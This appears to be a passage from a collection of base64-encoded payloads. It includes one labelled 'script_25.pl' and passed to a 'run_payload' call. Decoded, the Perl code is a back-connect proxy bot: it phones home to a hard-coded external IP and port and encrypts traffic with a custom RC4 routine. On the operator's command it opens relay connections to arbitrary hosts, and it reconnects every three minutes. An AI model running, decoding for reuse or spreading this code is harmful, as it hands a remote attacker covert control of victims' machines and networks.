QkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_25.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc0JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VU